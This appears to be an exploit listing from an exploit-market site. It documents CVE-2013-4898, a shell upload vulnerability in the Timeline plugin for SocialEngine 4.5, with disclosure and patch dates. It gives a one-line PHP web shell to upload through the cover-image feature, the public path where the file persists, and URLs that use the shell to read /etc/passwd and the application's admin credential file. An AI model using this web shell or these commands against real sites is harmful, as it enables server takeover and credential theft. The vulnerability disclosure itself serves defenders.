[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

SocialEngine 4.5 Shell Upload Vulnerability

Author
Wesley Henrique
Risk
[
Security Risk High
]
0day-ID
0day-ID-21076
Category
web applications
Date add
07-08-2013
CVE
CVE-2013-4898
Platform
php
+ INTRODUCTION
-------------------------------------------------------------
The plugin has the objective give you a better visual for the user
profile, allowed the addition of cover image keeping the layout closest
to the style of modern social networks, among other features.


+ DESCRIPTION OF VULNERABILITY
-------------------------------------------------------------
Logged into the system, enter on profile page of your user. [my profile]

    http://example.com/index.php/profile/[profile-name]

    >> Click "Change Cover"

    >> Click "Upload Cover"

select the file "*.php" you want to send.

//### Example PHP file to send "inject.php" ###
    <?php echo system("$_GET['cmd']"); ?>
//###

After selecting the file upload, this will be sent to an area temporarily,
the system detects that the format is not valid, but doesn’t remove,
allowing access later.

an error message is displayed on the screen.

[ File "/srv/www/htdocs/example.com/public/temporary/timeline/cover_original_8.php"
is not an image or does not exist ]


+ ACCESS
-------------------------------------------------------------
    /srv/www/htdocs/example.com/public/temporary/timeline/cover_original_8.php

The important thing is the structure of public forward, it will give
us access to our archive.

    account operation system
    http://example.com/public/temporary/timeline/cover_original_8.php?cmd=cat%20/etc/passwd

    account credentials admin application
    http://example.com/public/temporary/timeline/cover_original_8.php?cmd=cat%20../../../install/config/auth.php

-------------------------------------------------------------
+ Discovered by: Wesley Henrique Leite ( wesleyhenrique (´) gmail (´) com )
+ Software: SocialEngine 4.5
+ Plugin Link: http://webhive.com.ua/store/product.php?id_product=46
+ Plugin Name+Version :  Timeline 4.2.5p9
+ CVE-2013-4898
+ REPORTED TO VENDOR JUL 17 2013
+ PATCH RELEASED            JUL 25 2013
-------------------------------------------------------------

-- 
Wesley Henrique Leite

#  0day.today [2024-11-16]  #